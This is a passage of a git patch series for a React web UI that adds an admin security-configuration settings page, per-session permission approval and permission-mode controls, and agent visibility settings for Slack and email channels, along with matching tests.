+ ); +} + +export default function SecurityConfigPage() { + const { t } = useTranslation('flockspro'); + const toast = useToast(); + const [loading, setLoading] = useState(true); + const [savingRollout, setSavingRollout] = useState(false); + const [overview, setOverview] = useState(null); + const [rolloutDraft, setRolloutDraft] = useState<{ + policy: RolloutMode; + command: RolloutMode; + ingress: IngressRolloutMode; + visibility: RolloutMode; + } | null>(null); + + const loadAll = async () => { + setLoading(true); + try { + const nextOverview = await flocksproSecurityApi.getOverview(); + setOverview(nextOverview); + setRolloutDraft(nextOverview.rollout.effective); + } catch (err: any) { + toast.error(t('security.errors.loadFailed'), err?.response?.data?.detail || err?.message); + } finally { + setLoading(false); + } + }; + + useEffect(() => { + void loadAll(); + }, []); + + const rolloutDirty = useMemo(() => { + if (!overview || !rolloutDraft) return false; + return JSON.stringify(rolloutDraft) !== JSON.stringify(overview.rollout.effective); + }, [overview, rolloutDraft]); + + const saveRollout = async () => { + if (!rolloutDraft) return; + setSavingRollout(true); + try { + await flocksproSecurityApi.setRollout(rolloutDraft); + toast.success(t('security.messages.rolloutSaved')); + await loadAll(); + } catch (err: any) { + toast.error(t('security.errors.rolloutSaveFailed'), err?.response?.data?.detail || err?.message); + } finally { + setSavingRollout(false); + } + }; + + return ( +
+ } + action={( + + {t('security.actions.viewAudit')} + + )} + /> + + {loading && ( +
+ + {t('security.loading')} +
+ )} + + {!loading && overview && ( + <> + void saveRollout()} + disabled={!rolloutDirty || savingRollout || !rolloutDraft} + className="inline-flex h-9 items-center gap-2 rounded-md bg-zinc-950 px-4 text-sm font-semibold text-white transition-colors hover:bg-zinc-800 disabled:cursor-not-allowed disabled:bg-zinc-200 disabled:text-zinc-500 dark:bg-zinc-100 dark:text-zinc-950 dark:hover:bg-zinc-200 dark:disabled:bg-zinc-800 dark:disabled:text-zinc-500" + > + {savingRollout ? : } + {t('security.actions.saveRollout')} + + )} + > + {rolloutDraft && ( +
+ + setRolloutDraft((prev) => (prev ? { ...prev, policy: value as RolloutMode } : prev))} + options={[ + { label: t('security.modes.shadow'), value: 'shadow' }, + { label: t('security.modes.enforce'), value: 'enforce' }, + ]} + /> + + + setRolloutDraft((prev) => (prev ? { ...prev, command: value as RolloutMode } : prev))} + options={[ + { label: t('security.modes.shadow'), value: 'shadow' }, + { label: t('security.modes.enforce'), value: 'enforce' }, + ]} + /> + + + setRolloutDraft((prev) => (prev ? { ...prev, ingress: value as IngressRolloutMode } : prev))} + options={[ + { label: t('security.modes.disabled'), value: 'disabled' }, + { label: t('security.modes.shadow'), value: 'shadow' }, + { label: t('security.modes.enforce'), value: 'enforce' }, + ]} + /> + + + setRolloutDraft((prev) => (prev ? { ...prev, visibility: value as RolloutMode } : prev))} + options={[ + { label: t('security.modes.shadow'), value: 'shadow' }, + { label: t('security.modes.enforce'), value: 'enforce' }, + ]} + /> + + +
+ )} + + + +
+
+ + {t('security.labels.channelDefaultMode')} + + readonly + +
+
+ + {t('security.labels.uiDefaultMode')} + + require-confirm + +
+
+ + + +
+
+

{t('security.labels.hardDeny')}

+
+ {overview.hardDeny.systemRuleIds.map((item) => ( +
{item}
+ ))} +
+
+
+

{t('security.labels.readonlyCeiling')}

+
+ {overview.readonlyCeiling.denyPatterns.map((item) => ( +
{item}
+ ))} +
+
+
+ + + )} +
+ ); +} diff --git a/webui/src/pages/Settings/index.test.tsx b/webui/src/pages/Settings/index.test.tsx index a9ded5cb3..836328e7c 100644 --- a/webui/src/pages/Settings/index.test.tsx +++ b/webui/src/pages/Settings/index.test.tsx @@ -57,6 +57,10 @@ vi.mock('./ArchivedDataPanel', () => ({ default: () =>
archived data page
, })); +vi.mock('@/pages/SecurityConfig', () => ({ + default: () =>
security config page
, +})); + vi.mock('@/pages/FlocksproUpgrade', () => ({ default: () =>
flocks pro page
, })); @@ -197,11 +201,24 @@ describe('SettingsPage', () => { const mobileNav = screen.getByRole('navigation', { name: 'settingsTitle' }); expect(within(mobileNav).getByRole('link', { name: 'accountManagement' })).toHaveAttribute('href', '/settings/account'); + expect(within(mobileNav).getByRole('link', { name: 'securityConfig' })).toHaveAttribute('href', '/settings/security-config'); expect(within(mobileNav).getByRole('link', { name: 'auditLogs' })).toHaveAttribute('href', '/settings/audit-logs'); expect(within(mobileNav).queryByRole('link', { name: 'models' })).not.toBeInTheDocument(); expect(within(mobileNav).queryByRole('link', { name: 'channels' })).not.toBeInTheDocument(); }); + it('renders security config in settings for Flocks Pro admins', async () => { + renderSettings('/settings/security-config'); + + expect(await screen.findByText('security config page')).toBeInTheDocument(); + expect(screen.getAllByRole('link', { name: 'securityConfig' })[0]).toHaveAttribute('href', '/settings/security-config'); + const links = screen.getAllByRole('link'); + const accountIndex = links.findIndex((item) => item.textContent === 'accountManagement'); + const securityIndex = links.findIndex((item) => item.textContent === 'securityConfig'); + expect(accountIndex).toBeGreaterThanOrEqual(0); + expect(securityIndex).toBeGreaterThan(accountIndex); + }); + it('renders audit logs in settings for Flocks Pro admins', async () => { renderSettings('/settings/audit-logs'); @@ -223,10 +240,11 @@ describe('SettingsPage', () => { it('hides audit logs when Flocks Pro capability is unavailable', async () => { flocksproUsersApi.hasCapability.mockResolvedValue(false); - renderSettings('/settings/audit-logs'); + renderSettings('/settings/security-config'); expect(await screen.findByRole('heading', { name: 'settingsPreferences' })).toBeInTheDocument(); expect(screen.queryByRole('link', { name: 'auditLogs' })).not.toBeInTheDocument(); + expect(screen.queryByRole('link', { name: 'securityConfig' })).not.toBeInTheDocument(); }); it('hides Flocks Pro settings for non-admin users', async () => { diff --git a/webui/src/pages/Settings/index.tsx b/webui/src/pages/Settings/index.tsx index 7ab6bbd67..be626315b 100644 --- a/webui/src/pages/Settings/index.tsx +++ b/webui/src/pages/Settings/index.tsx @@ -15,6 +15,7 @@ import { Save, Settings as SettingsIcon, ShieldCheck, + Shield, Sun, TextCursorInput, Upload, @@ -48,7 +49,9 @@ const FlocksproUpgradePage = lazySettingsPage(() => import('@/pages/FlocksproUpg const AuditLogsPage = lazySettingsPage(() => import('@/pages/AuditLogs'), ['flockspro']); const ArchivedDataPage = lazySettingsPage(() => import('./ArchivedDataPanel'), ['session']); -type SettingsSectionId = 'preferences' | 'archived-data' | 'account' | 'system-logs' | 'audit-logs' | 'flockspro'; +const SecurityConfigPage = lazySettingsPage(() => import('@/pages/SecurityConfig'), ['flockspro']); + +type SettingsSectionId = 'preferences' | 'archived-data' | 'account' | 'security-config' | 'system-logs' | 'audit-logs' | 'flockspro'; interface ReturnLocation { pathname: string; @@ -78,6 +81,7 @@ function isSettingsSectionId(value: string | undefined): value is SettingsSectio value === 'preferences' || value === 'archived-data' || value === 'account' || + value === 'security-config' || value === 'system-logs' || value === 'audit-logs' || value === 'flockspro' @@ -481,6 +485,7 @@ function SettingsContent({ sectionId }: { sectionId: SettingsSectionId }) { }> {sectionId === 'account' && } {sectionId === 'archived-data' && } + {sectionId === 'security-config' && } {sectionId === 'system-logs' && } {sectionId === 'audit-logs' && } {sectionId === 'flockspro' && } @@ -558,6 +563,7 @@ export default function SettingsPage() { name: t('settingsGroupSystem'), items: [ { id: 'account', name: t('accountManagement'), icon: UserCog }, + { id: 'security-config', name: t('securityConfig'), icon: Shield, adminOnly: true, requiresFlockspro: true }, { id: 'system-logs', name: t('systemLog'), icon: ScrollText }, { id: 'audit-logs', name: t('auditLogs'), icon: ShieldCheck, adminOnly: true, requiresFlockspro: true }, { id: 'flockspro', name: proProductName, icon: ArrowUpCircle, adminOnly: true }, diff --git a/webui/tsconfig.json b/webui/tsconfig.json index 4cd6b5d3b..704695f87 100644 --- a/webui/tsconfig.json +++ b/webui/tsconfig.json @@ -15,8 +15,6 @@ "noUnusedLocals": false, "noUnusedParameters": false, "noFallthroughCasesInSwitch": true, - "ignoreDeprecations": "5.0", - "baseUrl": ".", "paths": { "@/*": ["./src/*"], "@/api/*": ["./src/api/*"], From e4d573f9dc2f585de549ad54f999b3e86951d1b3 Mon Sep 17 00:00:00 2001 From: chenjie Date: Wed, 29 Jul 2026 13:40:46 +0800 Subject: [PATCH 44/67] fix: restore session policy controls Reconnect interactive permission approvals and per-session policy mode selection so the squashed convergence flow remains usable from the session UI. Co-authored-by: Cursor --- webui/src/components/common/SessionChat.tsx | 110 ++++++++++++++++++++ webui/src/pages/Session/index.tsx | 86 ++++++++++++++- 2 files changed, 195 insertions(+), 1 deletion(-) diff --git a/webui/src/components/common/SessionChat.tsx b/webui/src/components/common/SessionChat.tsx index cf3d3cdcd..71dd33d2a 100644 --- a/webui/src/components/common/SessionChat.tsx +++ b/webui/src/components/common/SessionChat.tsx @@ -22,6 +22,7 @@ import { StreamingMarkdown, useStreamingContent } from './StreamingMarkdown'; import { useTranslation } from 'react-i18next'; import LoadingSpinner from './LoadingSpinner'; import { QuestionTool, type QuestionItem } from './QuestionTool'; +import { PermissionApprovalDialog, type PermissionDecision } from './PermissionApprovalDialog'; import DelegateTaskCard, { isDelegateTool, shouldRenderDelegateTaskCard } from './DelegateTaskCard'; import CommandDropdown, { isSlashCommandName, parseSlashCommand } from './CommandDropdown'; import ImageLightbox from './ImageLightbox'; @@ -29,6 +30,7 @@ import { useSessionMessages } from '@/hooks/useSessions'; import { useSSE, type SSEConnectionStatus } from '@/hooks/useSSE'; import { useReasoningToggle } from '@/hooks/useReasoningToggle'; import { sessionApi, type ContextUsageSnapshot, type QueuedPrompt } from '@/api/session'; +import { permissionApi, type PendingPermission } from '@/api/permission'; import client, { getApiBase } from '@/api/client'; import type { Command } from '@/api/skill'; import type { Agent } from '@/api/agent'; @@ -1870,6 +1872,11 @@ export default function SessionChat({ remove: removeQueuedPrompt, runNow: runQueuedPromptNow, } = useSessionPromptQueue(sessionId); + const [pendingPermissions, setPendingPermissions] = useState([]); + const [permissionSubmitting, setPermissionSubmitting] = useState(false); + const [permissionError, setPermissionError] = useState(null); + const activePermissionSessionRef = useRef(sessionId ?? null); + activePermissionSessionRef.current = sessionId ?? null; const [processGroupOpenState, setProcessGroupOpenState] = useState(() => ( readProcessGroupOpenState(sessionId) )); @@ -2326,6 +2333,45 @@ export default function SessionChat({ const pendingQuestionsRef = useRef(pendingQuestions); useEffect(() => { pendingQuestionsRef.current = pendingQuestions; }, [pendingQuestions]); + const addPendingPermission = useCallback((request: PendingPermission) => { + setPendingPermissions((previous) => ( + previous.some((item) => item.id === request.id) + ? previous + : [...previous, request] + )); + }, []); + + const fetchPendingPermissions = useCallback(async () => { + if (!sessionId) { + setPendingPermissions([]); + return; + } + const targetSessionId = sessionId; + const requests = await permissionApi.list(); + if (activePermissionSessionRef.current !== targetSessionId) return; + setPendingPermissions(requests.filter((item) => item.sessionID === targetSessionId)); + }, [sessionId]); + + const handlePermissionReply = useCallback(async (decision: PermissionDecision) => { + const request = pendingPermissions[0]; + if (!request || permissionSubmitting) return; + + setPermissionSubmitting(true); + setPermissionError(null); + try { + await permissionApi.reply(request.id, { + allow: decision !== 'deny', + always: decision === 'always', + }); + setPendingPermissions((previous) => previous.filter((item) => item.id !== request.id)); + } catch (error: unknown) { + const message = error instanceof Error ? error.message : String(error); + setPermissionError(message || '提交确认失败，请重试。'); + } finally { + setPermissionSubmitting(false); + } + }, [pendingPermissions, permissionSubmitting]); + const sseEnabled = Boolean(sessionId) && (live || isStreaming || !hideInput); useEffect(() => { @@ -2359,6 +2405,39 @@ export default function SessionChat({ // stream can be very noisy when multiple sessions run in parallel. if (shouldForwardSSEEventToParent(event, sessionId)) onSSEEvent?.(event); + const properties = event.properties; + if ( + event.type === 'permission.request' + && properties + && properties.sessionID === sessionId + ) { + const requestID = typeof properties.requestID === 'string' ? properties.requestID : ''; + if (requestID) { + addPendingPermission({ + id: requestID, + sessionID: sessionId ?? '', + messageID: typeof properties.messageID === 'string' ? properties.messageID : '', + toolID: typeof properties.tool?.name === 'string' + ? properties.tool.name + : typeof properties.permission === 'string' + ? properties.permission + : '', + permission: typeof properties.permission === 'string' ? properties.permission : '', + patterns: Array.isArray(properties.patterns) + ? properties.patterns.filter((pattern): pattern is string => typeof pattern === 'string') + : [], + always: Array.isArray(properties.always) + ? properties.always.filter((pattern): pattern is string => typeof pattern === 'string') + : [], + metadata: properties.metadata && typeof properties.metadata === 'object' + ? properties.metadata as Record + : {}, + time: { created: Date.now() }, + }); + setPermissionError(null); + } + } + const action = resolveSessionChatSSEAction(event, sessionId); switch (action.kind) { @@ -2569,6 +2648,7 @@ export default function SessionChat({ handleQuestionAsked, removeByRequestId, applyPromptQueueItems, + addPendingPermission, onSSEEvent, onError, scrollToBottom, @@ -2657,6 +2737,9 @@ export default function SessionChat({ refetch(); void refreshContextUsage(); fetchPromptQueue(); + fetchPendingPermissions().catch((err) => { + console.warn('[SessionChat] Failed to recover pending permissions after reconnect:', err); + }); fetchPendingQuestions(sessionId).catch((err) => { console.warn('[SessionChat] Failed to recover pending questions after reconnect:', err); }); @@ -2727,6 +2810,8 @@ export default function SessionChat({ statusCheckedRef.current = null; isAtBottomRef.current = true; clearPendingQuestions(); + setPendingPermissions([]); + setPermissionError(null); // Swap the draft when the session changes — needed for callers that // don't force a remount (Session/index.tsx does, but other consumers // such as WorkflowDetail/ChatTab may swap sessionId without a remount). @@ -2748,6 +2833,12 @@ export default function SessionChat({ fetchPromptQueue(); }, [fetchPromptQueue]); + useEffect(() => { + fetchPendingPermissions().catch((err) => { + console.warn('[SessionChat] Failed to fetch pending permissions:', err); + }); + }, [fetchPendingPermissions]); + // Persist the draft on every keystroke. localStorage writes are synchronous // and cheap, so debouncing isn't worth the added latency on send (which // depends on the draft being flushed). Drafts are removed when ``input`` @@ -4149,6 +4240,19 @@ export default function SessionChat({ )} {/* Follow-up input */} + {hideInput && (pendingPermissions[0] || permissionError) && ( +
+
+ +
+
+ )} + {!hideInput && (
+ (null); const [modelMenuLeftOffset, setModelMenuLeftOffset] = useState(0); + const [showPermissionModeOptions, setShowPermissionModeOptions] = useState(false); + const [proPolicyEnabled, setProPolicyEnabled] = useState(false); + const [sessionPermissionMode, setSessionPermissionMode] = useState(null); const [sseStatus, setSseStatus] = useState('disconnected'); const [runningSessionIds, setRunningSessionIds] = useState>(new Set()); const [relativeTimeClock, setRelativeTimeClock] = useState(0); @@ -1404,6 +1409,42 @@ export default function SessionPage() { return () => document.removeEventListener('mousedown', handle); }, [showModelOptions]); + useEffect(() => { + if (!showPermissionModeOptions) return; + const handle = (event: MouseEvent) => { + if (!(event.target as HTMLElement).closest('[data-permission-mode-selector]')) { + setShowPermissionModeOptions(false); + } + }; + document.addEventListener('mousedown', handle); + return () => document.removeEventListener('mousedown', handle); + }, [showPermissionModeOptions]); + + useEffect(() => { + void flocksproUsersApi.hasCapability().then(setProPolicyEnabled); + }, []); + + useEffect(() => { + if (!proPolicyEnabled || !selectedSessionId) { + setSessionPermissionMode(null); + return; + } + void flocksproPolicyApi.getSession(selectedSessionId) + .then((result) => setSessionPermissionMode(result.permissionMode)) + .catch(() => setSessionPermissionMode(null)); + }, [proPolicyEnabled, selectedSessionId]); + + const handlePermissionModeChange = useCallback(async (permissionMode: PermissionMode) => { + if (!selectedSessionId || !proPolicyEnabled) return; + try { + await flocksproPolicyApi.setSession(selectedSessionId, permissionMode); + setSessionPermissionMode(permissionMode); + } catch (error: unknown) { + const message = error instanceof Error ? error.message : String(error); + toast.error(t('chat.error', 'Error'), message); + } + }, [proPolicyEnabled, selectedSessionId, t, toast]); + useEffect(() => { if (selectedSession?.model_auto) { setSelectedModelKey(AUTO_MODEL_KEY); @@ -3242,7 +3283,8 @@ export default function SessionPage() {
} centerToolbarSlot={ -
+
+
)} +
+ {proPolicyEnabled && selectedSessionId && ( +
+ + {showPermissionModeOptions && ( +
+ {([ + ['readonly', '禁止命令执行'], + ['require-confirm', '每次确认'], + ['auto-allow-all', '自动允许'], + ] as const).map(([mode, label]) => ( + + ))} +
+ )} +
+ )} } /> From 598581bc94482bfb216a24175d8413c7b91a3f1b Mon Sep 17 00:00:00 2001 From: chenjie Date: Wed, 29 Jul 2026 13:47:57 +0800 Subject: [PATCH 45/67] fix: align Slack and email channel security Expose shared agent visibility controls for Slack and email while preserving stored defaults until agent discovery finishes. Co-authored-by: Cursor --- webui/src/pages/Channel/index.tsx | 42 ++++++++++++++++++------------- 1 file changed, 25 insertions(+), 17 deletions(-) diff --git a/webui/src/pages/Channel/index.tsx b/webui/src/pages/Channel/index.tsx index 646a585c5..7fa78db57 100644 --- a/webui/src/pages/Channel/index.tsx +++ b/webui/src/pages/Channel/index.tsx @@ -141,7 +141,7 @@ interface TelegramChannelConfig extends ChannelScopedSecurityConfig { streamingCoalesceMs?: number; } -interface SlackChannelConfig { +interface SlackChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; botToken?: string; appToken?: string; @@ -155,7 +155,7 @@ interface SlackChannelConfig { allowBots?: 'none' | 'mentions' | 'all'; } -interface EmailChannelConfig { +interface EmailChannelConfig extends ChannelScopedSecurityConfig { enabled: boolean; address?: string; username?: string; @@ -873,6 +873,9 @@ function ChannelSecurityFields({ useEffect(() => { if (!defaultAgent) return; + // Agent options load asynchronously. An empty list is not evidence that + // a persisted default is invalid, so preserve it until discovery completes. + if (agentOptions.length === 0) return; if (defaultAgentOptions.some((item) => item.value === defaultAgent)) return; if (defaultAgentOptions.length > 0) { onDefaultAgentChange(defaultAgentOptions[0].value); @@ -1980,9 +1983,11 @@ function TelegramPanel({ config, agentOptions, onChange, onRefresh }: TelegramPa function SlackPanel({ config, + agentOptions, onChange, }: { config: SlackChannelConfig; + agentOptions: AgentOption[]; onChange: (c: SlackChannelConfig) => void; }) { const { t } = useTranslation('channel'); @@ -2113,13 +2118,13 @@ function SlackPanel({
- - set('defaultAgent', v || undefined)} - placeholder={t('slack.optional')} - /> - + set('defaultAgent', value)} + onVisibleAgentsChange={(value) => set('visibleAgents', value)} + />